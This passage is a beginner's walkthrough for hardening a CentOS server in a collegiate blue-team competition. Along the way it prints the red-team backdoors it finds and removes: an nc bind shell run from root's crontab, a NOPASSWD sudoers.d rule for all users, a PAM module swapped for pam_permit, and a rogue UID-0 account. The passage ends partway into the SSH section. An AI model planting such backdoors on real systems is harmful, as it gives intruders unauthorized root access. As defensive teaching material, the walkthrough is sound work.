Securing a Linux Server

Overview

DCDC is a competition run by DSU, meant as an opportunity to practice defensive sysadmin skills in an environment similar to CCDC (a popular collegiate blue team competition).

On 2021-11-06, a DCDC event was held with the theme "Ratatouille" (best movie).

I'll be walking through how you may approach securing the box I put together, havre, named after Le Havre. However, the longer I've taken to write this, the more general it has become, so I'll be taking some creative liberties with the contents of the actual machine :)

Below is a summary of its environment:

This walkthrough is targeted towards beginners, who are familiar with essential concepts (users, groups) and know how to use the command line, but are shaky on "the big picture" of securing a machine. You should follow along on a machine of your own. If you have access to the IALab, you can spin up this very image.

Please don't take the steps and actions in this post as prescriptive-- every environment is different and requires intelligent consideration as to what the best course of action may be. Also, disclaimer, I'm not omnipotent, so there may be mistakes or sub-optimal strategies herewithin. But, if evaluated carefully, the steps here could form a strong basis for your own checklist and style of approaching these situations.

This guide also assumes that you are doing this manually! If you are allowed to use scripts, full send it, and use Ansible. Although, understanding how to do it manually is kind of a prerequisite.

I also have some general tips for approaching a situation like this, be it during a competition or not:

1. Never type without thinking.
2. Simple solutions are always better.
3. Practice like you play.

Connecting

This section is only pertinent to those using our infrastructure (or similar). But, it's a pretty common setup.

You have the choice of connecting through VPN (OpenVPN in this case), or using the virtualization console (vSphere, in this case).

I will strongly, strongly recommend using the VPN. While the console has benefits (it's easier to log in to, and much harder to lock yourself out of), it severely limits your flexibility.

For example, you (likely) cannot copy and paste, the latency is much higher, your console may time out/reset when you're doing something important, and you can't use a native terminal that you're familiar with. So, this post will assume that you have launched the VPN:

sudo openvpn ./dcdcratatouille.ovpn

16:18:56 OpenVPN 2.4.7 x86_64-pc-linux-gnu [SSL (OpenSSL)]
16:18:56 UDP link remote: [AF_INET]138.247.12.101:1194
16:18:56 [server] Peer Connection Initiated with [AF_INET]138.247.12.101:1194
16:18:58 /sbin/ip link set dev tun0 up mtu 1500
16:18:58 /sbin/ip addr add dev tun0 10.31.0.3/16 broadcast 10.31.255.255
16:18:58 Initialization Sequence Completed

You can test that you have access to the environment by trying to ping the Scoring Engine, which for us is at 10.30.0.100.

ping 10.30.0.100

PING 10.30.0.100 (10.30.0.100) 56(84) bytes of data.
64 bytes from 10.30.0.100: icmp_seq=1 ttl=63 time=57.7 ms
64 bytes from 10.30.0.100: icmp_seq=2 ttl=63 time=49.8 ms
64 bytes from 10.30.0.100: icmp_seq=3 ttl=63 time=49.4 ms

If you get ping responses like above, you are connected to the network.

During a competition, it will be made clear what your external IP is. For our machine, it's 10.20.1.11. When ssh asks you for a password, type the password (typically, Password1!) (it won't be printed).

ssh root@10.20.1.11

root@10.20.1.11's password:
Last login: Sat Nov  6 02:42:44 2021 from 10.31.0.6
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
     Bienvenue à la Ratatouille!
  Faire comme chez toi. Bonne chance!
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
[root@havre ~]#

Now, you have access to the shell of the machine, and you can begin to defend it. havre is a CentOS 7 box, but almost all of what we will do is universally applicable.

Authentication

All commands assume you are root. If you are not, run commands that require it with sudo, or escalate to root with sudo -i.

Passwords

Since this is a CCDC-style competition, your first priority is to minimize the curbstomping you receive from the red team. The only instantaneous form of RCE (remote code execution) they can get on your box, without having prior knowledge of the environment, is through SSH and default credentials. So, the first thing you do should be to change your password, and first of those, is the root password:

passwd

After you change the root password, you should change passwords for all users on the system, and lock those who do not have shells. This first snippet changes all users passwords to the same password:

read -p "Pw: "; for u in $(cat /etc/passwd | grep -E "/bin/.*sh" | cut -d":" -f1); do echo "$u:$REPLY" | chpasswd; echo "$u,$REPLY"; done

Pw: [I typed:] mySecureP4ssW0rd897!
user1,mySecureP4ssW0rd897!
user2,mySecureP4ssW0rd897!
user3,mySecureP4ssW0rd897!

# Read your password from the terminal and store it in $REPLY
read -p "Pw: "

# For users in /etc/passwd with a shell, take the username part of the line
    # NOTE: the format of /etc/passwd looks like this:
        # root:x:0:0:root:/root:/bin/bash
    # So that cut command is saying, take the first field when
    # the line is colon-delimited.
for u in $(cat /etc/passwd | grep -E "/bin/.*sh" | cut -d":" -f1); do

    # Change the password with chpasswd
    echo "$u:$REPLY" | chpasswd

    # Print the password to the terminal
    echo "$u,$REPLY"

# Terminate the for loop
done

There is no output from chpasswd upon successful password change. This is following the Unix principle "Rule of Silence: When a program has nothing surprising to say, it should say nothing" (source).

read -p "Salt: "
for u in $(cat /etc/passwd | grep -E "/bin/.*sh" | grep -v "root" | cut -d":" -f1); do

    # Hash the current nanosecond with a salt
    ns=$(date +%N)
    pw=$(echo "${ns}$REPLY" | sha256sum | cut -d" " -f1)

    # Change the password with chpasswd
    echo "$u:$pw" | chpasswd

    # Print the password to the terminal
    echo "$u,$pw"

# Terminate the for loop
done

Now, we have changed all user passwords on the system. We should now go through and lock all non-user accounts.

for u in $(cat /etc/passwd | grep -vE "/bin/.*sh" | cut -d":" -f1); do passwd -l $u; done

Finally, we have all of our system passwords changed, and non-user accounts locked. Ideally, we should be here in less than 30 seconds into the competition. Now, we want to kick out anyone who may have logged in before we did that. Even if we changed everyone's passwords, if someone already has a session on our machine, they are not kicked out (even if you restart ssh)! We need to vet them manually.

Killing Sessions

First, we can check who or w for people logged in using legitimate means:

w

05:35:48 up 2 min, 3 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE    JCPU   PCPU  WHAT
root     pts/0    10.31.0.24       05:32    0.00s   0.00s  0.00s w
root     pts/1    10.31.0.49       05:33    0.04s   0.00s  0.00s bad.sh
root     pts/3    10.20.10.46      05:34    1.51s   0.00s  0.00s -bash

In this case, we know we are pts/0 due to our IP, current command running (under "WHAT"). We can also run tty to find out. This means that two other people are currently on this box-- one is running an interactive shell (-bash on pts/3), and more concerning, pts/1 is running bad.sh. We should figure out what's in that script, but first, we need to kick them out.

The easiest way to do this is to kill their pts (/pseudo-terminal/-- basically, their terminal session). We can do this with pkill:

pkill -9 -t pts/1
pkill -9 -t pts/3

We are sending signal 9 (SIGKILL) to their session, which means they're dead, no matter what. On the attacker side, it'll look something like this:

[root@havre ~]# cat /etc/shado
Connection to 10.20.1.11 closed.
root@kali:~# echo "darn it"

And now we check again to make sure they're gone:

w

05:35:56 up 1 days, 38 min, 3 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE    JCPU   PCPU  WHAT
root     pts/0    10.31.0.24       05:32    0.00s   0.00s  0.00s w

Good, that's more like it.

But what about people that did not connect legitimately (for example, people that did not issue a PTY to themselves)? We're going to fall back on ss, socket statistics, a great tool for investigating network connections.

ssh root@localhost -T

The insight here is that, although they may not have a PTY, anyone running commands on our system must be using an established connection. So, we run:

ss -peunt

Netid  State   Local Address:Port    Peer Address:Port
tcp    ESTAB   10.20.1.11:22         10.31.0.24:49118     users:(("sshd",pid=9549,fd=3))
tcp    ESTAB   10.20.1.11:22         10.30.12.243:42862   users:(("sshd",pid=15608,fd=3))

We got another one! In this scenario, we are ssh -ing into our box, rather than using it physically or from the console. So we know our own IP (in this fictional scenario, it is 10.31.0.24), and the other IP is not a legitimate user. So, we kill the PID listed in the output.

ss can be hard to read, but just look for the pid= field. We are using kill rather than pkill, since we are directly passing a PID (rather than a process name or a pts). There are ways to kill directly with ss, but they're less portable.

kill -9 15608
ss -peunt

Netid  State   Local Address:Port    Peer Address:Port
tcp    ESTAB   10.20.1.11:22         10.31.0.24:49118     users:(("sshd",pid=9549,fd=3))

There we go, looks good. Hopefully, it will now take them some time to get back in our systems.

tail -f /var/log/auth.log &

Users and Groups

Now, we are going to audit existing users and groups on the system, to make nothing is there.

Bad things here would be unauthorized users, UID 0 users other than root, unnecessary users in the sudo, wheel, or nopasswdlogin groups, and anything that looks suspicious. Fewer accounts means a smaller attack surface.

Typically, a competition will publish a list of valid users for you to go off of. If they don't specify which ones are supposed to be admins (that is, able to execute commands as root via sudo), make none of them admins! This is the principle of least privilege-- if they don't need it, they don't get it.

There are many (too many) ways to edit users and groups on a system. My favorite way is to straight open up /etc/passwd in Vim. If you're not comfortable with Vim, you can use Nano or even Gedit if you're in a graphical environment. However, when using this method, you do need to be very careful, since you can effectively brick your machine with just one mistake.

Once we have the file open, we are looking for "bad things," as touched on above. Here are some things you do not want to see in your file:

head /etc/passwd

root:x:0:0:root:/tmp:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/bash
bin:x:0:2:bin:/bin:/usr/bin/nologin
john:x:55:0:Hi I'm john:/home/john/:/bin/sh

Every line above has at least one thing wrong with it.

1. Why is root home in /tmp?
2. Why does daemon have a user shell /bin/bash?
3. Why does bin have a UID of 0?
4. Why is bin using /usr/bin/nologin rather than the real /usr/sbin/nologin (mind the s)?
5. Why is john, a user, using a system UID? (User IDs below 1000 are hidden, and reserved for system users)

Here's what a healthy file will look like:

head /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

So to fix it, change root home folder back to /root, put bin back at UID 2 and a normal non-login shell, give daemon a non-login shell, and nuke john.

If these "flaws" seem arbitrary to you, don't worry. The only way to tell if things are weird is to understand how it works and to know what it looks like normally, which is impossible if you've never seen it before.

So, if we actually look at the havre box, here are the two interesting lines in /etc/passwd:

toor:x:0:1018::/home/toor:/bin/bash
charles:x:1017:1017::/home/charles:/bin/bash

Everything else in the file looks normal. Of course, that doesn't mean it's secure-- someone could have secretly replaced /sbin/nologin with a real shell, like /bin/bash. But we'll deal with that later.

However, these two users: toor is not a valid user, and he has a UID of 0 -- which means if someone manages to log in as this user, they will be root. Secondly, charles looks like a great guy, but he's not on the list of default users and is more than likely a backdoor user account added by a red teamer (or the box creator).

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
toor:x:0:1018:1018::/home/toor:/bin/bash
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
remy:x:1000:1000::/home/remy:/bin/bash
linguini:x:1001:1001::/home/linguini:/bin/bash
emile:x:1002:1002::/home/emile:/bin/bash
anton:x:1003:1003::/home/anton:/bin/bash
skinner:x:1004:1004::/home/skinner:/bin/bash
django:x:1005:1005::/home/django:/bin/bash
colette:x:1006:1006::/home/colette:/bin/bash
horst:x:1007:1007::/home/horst:/bin/bash
lalo:x:1008:1008::/home/lalo:/bin/bash
larousse:x:1009:1009::/home/larousse:/bin/bash
mustafa:x:1010:1010::/home/mustafa:/bin/bash
git:x:1011:1011::/home/git:/bin/bash
ambrister:x:1012:1012::/home/ambrister:/bin/bash
cherie:x:1013:1013::/home/cherie:/bin/bash
aimer:x:1014:1014::/home/aimer:/bin/bash
poubelle:x:1015:1015::/home/poubelle:/bin/bash
talon:x:1016:1016::/home/talon:/bin/bash
charles:x:1017:1017::/home/charles:/bin/bash
tcpdump:x:72:72::/:/sbin/nologin

After we remove these users, we'll want to run pwck to validate and verify our users changes. For example, since we removed the above two users, we'll also want to remove them from /etc/shadow, the place where their password hashes are stored, and from /etc/groups, the place where groups are defined. pwck will do all of that for us.

pwck

no matching password file entry in /etc/passwd
delete line 'charles:$6$K7SXEO.iujx$mQ[...]JjvwA.:18937:0:99999:7:::'? y
no matching password file entry in /etc/passwd
delete line 'toor:$6$gMMrT/AynliVad8P[...]GS3uHchZmnTbzL82KZ.:18937:0:99999:7:::'? y
pwck: the files have been updated

Keep in mind that the users' files on disk have not been deleted. This is often what we want, so that we can save and use them for forensic purposes. Occasionally however, some persistence mechanism or bad thing can still be active from that user's owned files. You can find all files owned by a user with find, if you so desire:

find / -user "toor" 2>/dev/null

/var/spool/mail/toor
/home/toor
/home/toor/.bash_logout
/home/toor/.bash_profile
/home/toor/.bashrc
/home/toor/.ssh
/home/toor/.ssh/authorized_keys

Luckily there's nothing weird, just the mail and home folder files. authorized_keys could be used to gain access to the account (if it wasn't deleted by us), and we'll investigate more on that later.

Next, let's take a look at groups. The structure of each line of /etc/group is group-name:x:group_id:groupuser1,groupuser2. For CentOS and other Red Hat based systems, the group that can execute commands with sudo is called wheel. On Debian-based systems, it is the sudo group. On the havre system, this file is pretty sparse.

wheel:x:10:

The only interesting group in this file is wheel, and it is empty. While that doesn't have many implications security-wise, it does mean that if you lock yourself out of the root account, you'll have no legitimate avenue for getting back to root.

Something that you wouldn't want to see here might be if every user was in the wheel group, or an unknown group that many people are in (maybe that group is used by a privileged service somehow?). But usually, managing groups is pretty tame.

cat /etc/group

root:x:0:
bin:x:1:
daemon:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mem:x:8:
kmem:x:9:
wheel:x:10:
cdrom:x:11:
mail:x:12:postfix
man:x:15:
dialout:x:18:
floppy:x:19:
games:x:20:
tape:x:33:
video:x:39:
ftp:x:50:
lock:x:54:
audio:x:63:
nobody:x:99:
users:x:100:
utmp:x:22:
utempter:x:35:
input:x:999:
systemd-journal:x:190:
systemd-network:x:192:
dbus:x:81:
polkitd:x:998:
ssh_keys:x:997:
sshd:x:74:
postdrop:x:90:
postfix:x:89:
printadmin:x:996:
apache:x:48:
remy:x:1000:
linguini:x:1001:
emile:x:1002:
anton:x:1003:
skinner:x:1004:
django:x:1005:
colette:x:1006:
horst:x:1007:
lalo:x:1008:
larousse:x:1009:
mustafa:x:1010:
git:x:1011:
ambrister:x:1012:
cherie:x:1013:
aimer:x:1014:
poubelle:x:1015:
talon:x:1016:
charles:x:1017:
toor:x:1018:
tcpdump:x:72:

So, nothing to fix for groups. If we did change anything, we could run grpck to accomplish a similar goal as pwck.

Sudoers

There is a set of configuration files that manage sudoer policy. By default, people with accounts in the wheel or sudo group are allowed to use sudo, and they have to type their account password before using it. (Un)fortunately, you can turn this off. These configurations can be found at /etc/sudoers and in the folder /etc/sudoers.d.

You can check the content of the /etc/sudoers file with visudo, or if you're like me, with vim. You can edit them all at once like this, and use :n in vim to move to the next one. (But note that this won't edit files starting with a period, so you should always double check).

vim /etc/sudoers /etc/sudoers.d/*

These files are somewhat intuitive. Ours looks like this:

# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults	env_reset
Defaults	mail_badpass
Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

# User privilege specification
root	ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%wheel	ALL=(ALL:ALL) NOPASSWD:ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d

As you can see, Mr. No-Fun configuration file doesn't want us directly editing it. And as it suggests, you can read more about the file (and almost any file on the system!) by reading the man page with man sudoers. You can use that to read about the Defaults directives at the top, because they're normal.

If you're using vim, you can force it to save the file anyway by using w!. You have to do that because the write bit is not enabled (so it's r-- and not rw-).

The line root ALL=(ALL:ALL) ALL permits root to execute, on ALL hosts, ALL users and ALL groups, ALL commands, in that order. This strings is called a Runas_Spec, and yes, you can read more about it in the man page.

So what may jump out at you is the inclusion of NOPASSWD, and you'd be right to think that's weird. The addition of that is abnormal, and means anyone in the wheel group can execute all commands without a password. Let's change that back:

%wheel	ALL=(ALL:ALL) ALL

Afterwards, we test our new policy:

sudo echo hi

hi

That's strange, it should have asked for our password.

Unfortunately, additional configuration files have pulled a fast one on us. What looks like a comment in the /etc/sudoers file is actually an include statement, which means to read every file in /etc/sudoers.d:

#includedir /etc/sudoers.d

Of course, we should have checked the directory anyway, because many services hardcode in multiple paths to check for configurations rather than relying on the main config including them.

ls -la /etc/sudoers.d

README
EPICHAX

We notice /etc/sudoers.d/EPICHAX, which seems to be a malicious file:

vim /etc/sudoers.d/EPICHAX

ALL	ALL=(ALL:ALL) NOPASSWD:ALL

Without our system's best interests at heart, they're letting all users execute any command as anyone without a password. We remove that line, and then check the README, because we don't trust it-- but we don't find anything weird there.

Then, we make sure to verify our fix:

sudo echo hi

Password: [I typed my password here]
hi

Excellent, it appears that our sudoers configuration is properly secured. Of course, there a biliion things that could be misconfigured or backdoored, but this is good enough for our scope.

PAM

PAM stands for pluggable authentication modules. Word on the street is that it was created as a general interface to support many different authentication methods, like kerberos. In any case, it impacts us today by controlling most if not all authentication on most systems.

PAM on CentOS is kind of cracked, and involves use of the authconfig tool. In the interest of general applicability and understanding, I'm going to cover this section from the perspective of a Debian-based system, but the skills should transfer.

For example, when you type your password for ssh (assuming UsePAM yes is set, which is usually default), your username is given to PAM to ensure you're allowed (your account is not disabled), and your password is given to PAM to check that it's correct (with pam_unix.so). The details of this get kind of convoluted, but I would suggest reading the man page (man pam) for more information if the following paragraph interests you.

There are four main types of checks (the following is almost directly copied from the man page):

1. account - provide account verification types of service: has the user's password expired?; is this user permitted access to the requested service?
2. auth-entication - authenticate a user and set up user credentials. Typically this is via some challenge-response request that the user must satisfy: if you are who you claim to be please enter your password.
3. password - updating authentication mechanisms (for example, passwd).
4. session - this group of tasks cover things that should be done prior to a service being given and after it is withdrawn. Such tasks include the maintenance of audit trails and the mounting of the user's home directory.

We'll be seeing those types shortly. What this means for us, is that there are a bunch of configuration files in /etc/pam.d that use a bunch of so files (shared objects).

The most common is common-auth, where the clean version looks like:

cat /etc/pam.d/common-auth

#
# /etc/pam.d/common-auth - authentication settings common to all services
#
# here are the per-package modules (the "Primary" block)
auth	[success=1 default=ignore]	pam_unix.so nullok_secure
# here's the fallback if no module succeeds
auth	requisite			pam_deny.so
# prime the stack with a positive return value if there isn't one already;
# this avoids us returning an error just because nothing sets a success code
# since the modules above will each just jump around
auth	required			pam_permit.so
# and here are more per-package modules (the "Additional" block)
auth	optional			pam_cap.so
# end of pam-auth-update config

There's auth! I'm not a PAM expert, but essentially, each line is a directive that starts with a type or group (in this case, auth), then an option that contextualizes how it should be used (is this check good enough by itself? Is it optional? Should it only be used if nothing else passes?), and finally, the shared object file itself, with options that should be passed to it.

If that's confusing, don't worry about it. But do worry about this, which is the version on our box:

#
# /etc/pam.d/common-auth - authentication settings common to all services
#
# here are the per-package modules (the "Primary" block)
auth	[success=1 default=ignore]	pam_unix.so nullok_secure
# here's the fallback if no module succeeds
auth	requisite			pam_permit.so
# prime the stack with a positive return value if there isn't one already;
# this avoids us returning an error just because nothing sets a success code
# since the modules above will each just jump around
auth	required			pam_permit.so
# and here are more per-package modules (the "Additional" block)
auth	optional			pam_cap.so
# end of pam-auth-update config

It's subtle, but pam_deny.so has been changed to pam_permit.so. This means that, if no other module suceeds, it will grant the user access (permit). So, for all authentication-- SSH, su, login-- any password will work. Which is not optimal security. So let's change it back:

auth	requisite			pam_deny.so

And like good cyber citizens, we test our changes.

su root

Password: [I slammed my keyboard]
[root@havre ~]#

Ah... crud. Looks like similar to our sudo situation, there are multiple layers we need to take care of.

Short of recompiling it, there's only a couple other things that can be done to bypass PAM in this blatant manner. For example, what if someone replaced the .so files we're using? Since they are just files sitting on your disk.

Let's check it out:

ls -la /usr/lib/security

drwxr-xr-x   3 root root  4096 Dec 17 21:38 .
drwxr-xr-x 115 root root 73728 Dec 19 12:48 ..
-rwxr-xr-x   1 root root 18336 Oct 12 12:47 pam_access.so
...
-rwxr-xr-x   1 root root 14219 Oct 12 12:47 pam_debug.so
-rwxr-xr-x   1 root root 14320 Oct 12 12:47 pam_deny.so
-rwxr-xr-x   1 root root 13944 Oct 12 12:47 pam_deny_backup_LEL.so
...
-rwxr-xr-x   1 root root 14320 Oct 12 12:47 pam_permit.so

That's quite suspicious-- there's a file suggesting it is a backup of pam_deny. And pam_deny.so is the same file size as pam_permit.so...

When red teamers (or competition organizers) are being nice, they'll leave backup files like this. If they didn't, you'd have to reinstall PAM. Or even more antisocially, if the backup file was also backdoored (or a modified copy of pam_permit.so), we'd be tricked into thinking we closed this vuln. So, always test your changes, and only trust the red team if they seem nice.

To fix this, we'll trust whoever made the backup, copy it over the real file:

cp -f pam_deny_backup_LEL.so pam_deny.so

And test our changes? Yeah.

su root

Password: [I slammed my keyboard]
[5 seconds pass]
su: Authentication failure

Huzzah, it appears we were successful!

apt install --reinstall libpam-modules
pam-auth-update --force

Programs

Now that we have reasonably secured our users and authentication, we'll move on the binary phantoms in our system.

Listening Ports

The best litmus test of how screwed you are is seeing what listening and established connections there are to your system. On newer systems, you will use ss (socket statistics). You may remember this fine scholar from the 'killing sessions' section. On older systems, you'll use netstat, but our CentOS box has ss so we won't bother.

First, let's check for listening ports:

ss -plunt

Netid State   Local Address:Port   Process
udp   UNCONN        0.0.0.0:5353   users:(("avahi-daemon",pid=532,fd=12))
udp   UNCONN  127.0.0.53%lo:53     users:(("systemd-resolve",pid=494,fd=12))
udp   UNCONN        0.0.0.0:631    users:(("cups-browsed",pid=613,fd=7))
tcp   LISTEN  127.0.0.53%lo:53     users:(("systemd-resolve",pid=494,fd=13))
tcp   LISTEN        0.0.0.0:22     users:(("sshd",pid=521,fd=6))
tcp   LISTEN        0.0.0.0:1337   users:(("nc",pid=1715,fd=49))
tcp   LISTEN        0.0.0.0:445    users:(("samba",pid=779,fd=15))
tcp   LISTEN        0.0.0.0:80     users:(("httpd",pid=924,fd=37))
tcp   LISTEN              *:21     users:(("vsftpd",pid=1201,fd=26))

Notice that the udp connections are "UNCONN" rather than "LISTEN" because... UDP things.

This system looks pretty clean, for one using systemd at least. We can "safely" ignore avahi-daemon and systemd-resolve, those are services meant for autoconfiguration and DNS. You can safely kill avahi, but don't make it a priority. cups-browsed is a printer configuration interface, which you can access in your web browser at http://localhost:631. You should probably disable it, but again, not a huge priority.

Also if you see anything listening for [::], that's IPv6. I disable IPv6 in competitions that don't require it (/cough/ standardized since 2017 /cough/), to decrease the available attack surface, but it probably won't hurt too much.

Otherwise, we see our services dutifully listening on their ports. 0.0.0.0, or INADDR_ANY, means it will accept a connection from any IP address. Compare this to the systemd-resolve service, which will only accept connections from localhost. You should limit this where possible, for example, if you have a MySQL server that only needs to listen for connections from your own computer, or from one other computer on your network, you should change the bind address appropriately.

But, what also jumps out at us, is that there is a nc process listening on port 1337. No matter how leet that is, it has no place in our happy Linux server. You can kill it via the PID shown there, as we did previously, but you should probably investigate how it ran so that you can prevent it in the future, or respond closer to the root cause. We'll talk about process auditing in the next section. Keep in mind there may be other bind shells that weren't active when you ran ss.

Overall, these listening ports give us a good snapshot of our system. We know we have three critical services from the Overview, but now, we know what they are exactly (vsftpd instead of proftpd or similar, httpd (apache2) and not nginx, etc), and we also now know what ports they're listening on. We also see that we have an extraneous service, which is FTP. Let's remove it:

yum remove vsftpd

If you're worried about removing important FTP information (weirdo), you can just stop and disable the service:

systemctl stop vsftpd; systemctl disable vsftpd

Or of course, just check what files it's hosting before removing it.

Processes

Allow me to introduce you to my favorite Linux command (sorry, my favorite GNU coreutils command): ps auxf. It will list all processes in a tree structure. Like this (output has been edited for brevity, and it's still massive):

ps auxf

USER        PID %CPU %MEM  TTY    START   TIME COMMAND
root          2  0.0  0.0  ?      21:19   0:00 [kthreadd]
root          3  0.0  0.0  ?      21:19   0:00  \_ [rcu_gp]
root          4  0.0  0.0  ?      21:19   0:00  \_ [rcu_par_gp]
root          6  0.0  0.0  ?      21:19   0:00  \_ [kworker/0:0H-events_highpri]
root          9  0.0  0.0  ?      21:19   0:00  \_ [mm_percpu_wq]
root         10  0.0  0.0  ?      21:19   0:00  \_ [rcu_tasks_rude_]
root      50960  0.0  0.0  ?      23:21   0:00  \_ [kworker/0:0-events]
root        248  0.0  0.6  ?      21:19   0:00 /lib/systemd/systemd-journald
root        270  0.0  0.1  ?      21:19   0:00 /lib/systemd/systemd-udevd
avahi       532  0.0  0.0  ?      21:19   0:00 avahi-daemon: running [havre.local]
root        533  0.0  0.0  ?      21:19   0:00 /usr/sbin/cron -f
root       2787  0.0  0.0  ?      23:36   0:00   \_ nc -lvnp 1337 -e /bin/bash
root        649  0.0  0.2  ?      21:19   0:00 /usr/sbin/gdm3
root        658  0.0  0.2  ?      21:19   0:00  \_ gdm-session-worker [pam/gdm-autologin]
remy        671  0.0  0.2  ?      21:19   0:00 /lib/systemd/systemd --user
remy        673  0.0  0.0  ?      21:19   0:00  \_ (sd-pam)
remy       1011  0.6  8.9  ?      21:19   0:46  \_ /usr/bin/gnome-shell
remy       1354  0.0  1.3  ?      21:19   0:03  \_ /usr/libexec/gnome-terminal-server
remy       1390  0.0  0.1  pts/0  21:19   0:00  |   \_ bash
root       1422  0.0  0.1  pts/0  21:19   0:00  |       \_ sudo -i
root       1423  0.0  0.1  pts/0  21:19   0:00  |           \_ -bash
root      50962  0.0  0.0  pts/0  23:21   0:00  |               \_ ps auxf
remy       1457  0.0  0.1  ?      21:20   0:00  \_ /usr/libexec/gvfsd-metadata
kernoops    689  0.0  0.0  ?      21:19   0:00 /usr/sbin/kerneloops
rtkit       728  0.0  0.0  ?      21:19   0:00 /usr/libexec/rtkit-daemon
root      47546  0.0  0.1  ?      22:42   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root      49375  0.0  0.6  ?      22:55   0:00 /usr/sbin/smbd --foreground --no-process-group
root      49377  0.0  0.2  ?      22:55   0:00  \_ /usr/sbin/smbd --foreground --no-process-group
root      51491  0.0  0.1  ?      23:38   0:00 /usr/sbin/httpd -k start
www-data  51492  0.0  0.1  ?      23:38   0:00  \_ /usr/sbin/httpd -k start
www-data  51493  0.0  0.1  ?      23:38   0:00  \_ /usr/sbin/httpd -k start

We can tell a lot from this output. Don't worry about anything with [brackets] around it, that means it's a kernel thread, and is not relevant unless you're hunting for rootkits, or people on the kernel mailing list to send nastygrams to. Otherwise, we see-- ohmygosh, is that rtkit? Like rootkit? Unfortunately no, it's RealtimeKit, which is some scheduling garbage, I don't really know.

From the left to right side of the output, there is the process user, the process ID (pid), its CPU and Memory (RAM) usage, when it was started, how long its been running, and its Cmdline (you can see them in /proc/PID/cmdline. Did you know that all ps does is read the /proc/ directory? Thanks plan9!).

We can see, however, our services up and running, except the FTP server we killed. We also see that nc (netcat) listener from before has been run by cron! I hate cron's guts, from its beautiful Unix-like simplicity to its wise minute-level granularity...

We should remove the offending entry from cron, and then choose how to remediate it. If we don't have anything else depending on cron (such as an e-commerce site that uses it to update its product database (looking at you, Magento)), we can stop, disable, and/or mask it. Trying to uninstall it on some systems has removed core system packages and the GUI in the past (thanks Ubuntu), so I'm scared of removing it.

There are a couple of places that cron, or its younger brother anacron, will read files from.

1. User files in /var/spool/cron/crontabs. This is where files get created when you type crontab -e (edit my crontab).
2. Global system files in /etc/crontab and /etc/cron.*/*. Any directives in these files can run as any user, and files that aren't in one of the "daily" or "weekly" or etc folders can be run at most, once a minute.

But it's a huge pain to look through these. Usually I just read through the user files, skim the system ones, and disable cron. So let's check the user files:

ls /var/spool/cron/crontabs

root

Weird! Let's take a peek:

cat /var/spool/cron/crontabs/*

# And I would have gotten away with it, if it weren't for you meddling health inspectors!
* * * * * root pgrep nc || nc -lvnp 1337 -e /bin/bash

Tsk tsk! Consider yourself deleted.

rm /var/spool/cron/crontabs/*

I wouldn't actually be typing the entire path again. You can use ALT+. to put the last argument of the last command at your cursor.

Now, let us punish.

systemctl stop cron
systemctl disable cron
systemctl mask cron

Masking cron makes it so that people can't just enable it, they have to recreate the service file, or jump through some other hoops.

Service Backups

Hey! You-- yeah, you. Back up your services! If you don't think you need to, you are wrong. Sorry! Even though this is pretty deep into the image guide, you should really do this ASAP, along with your network, process, and kernel module baselines (more on kernel modules later).

Most services are just a collection of files. You can take these files and put them in a folder, then tar it up.

For example, let's back up the httpd server on this box. We copy the files:

mkdir http_backup
cp -rp /var/www/html http_backup/webdir
cp -rp /etc/httpd/ http_backup/conf

Then put them in a archive.

tar zcf http_backup.tar.gz http_backup

Now, there is a file called http_backup.tar.gz with our files. Yay! Put it in your root home folder in like .cache, or somewhere else hidden and unreadable. You should do this for all unique services, files, configs, and so forth.

gpg -c http_backup.tar.gz

rm -f http_backup.tar.gz
rm -rf http_backup

gpg -d http_backup.tar.gz.gpg

Service Hardening

You've hardened your users and authentication, audited your services, network connections, and processes. It's been ten seconds since the start of the competition. Now, we approach our illustrious services that are the entirety of our actual box functionality.

This section will vary wildly depending on the services on your machine. Services are just programs, and like any other, what you put in the configuration is dependent on your understanding of how it works. Based on different setups of your services, the way you choose to secure it will vary wildly.

But let's take a look at what we have right now:

SSH

This is probably the most common service. Except maybe web servers. This is SSH, Secure SHell, and it's how we're hypothetically talking to this machine.

Its configuration lives in /etc/ssh/ by default, for both client and server. OpenSSH, which is the version of SSH we (and everyone else) are using. We're in luck because this is probably the most secure service of all time, per popularity unit.

vim /etc/ssh/sshd_config

# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

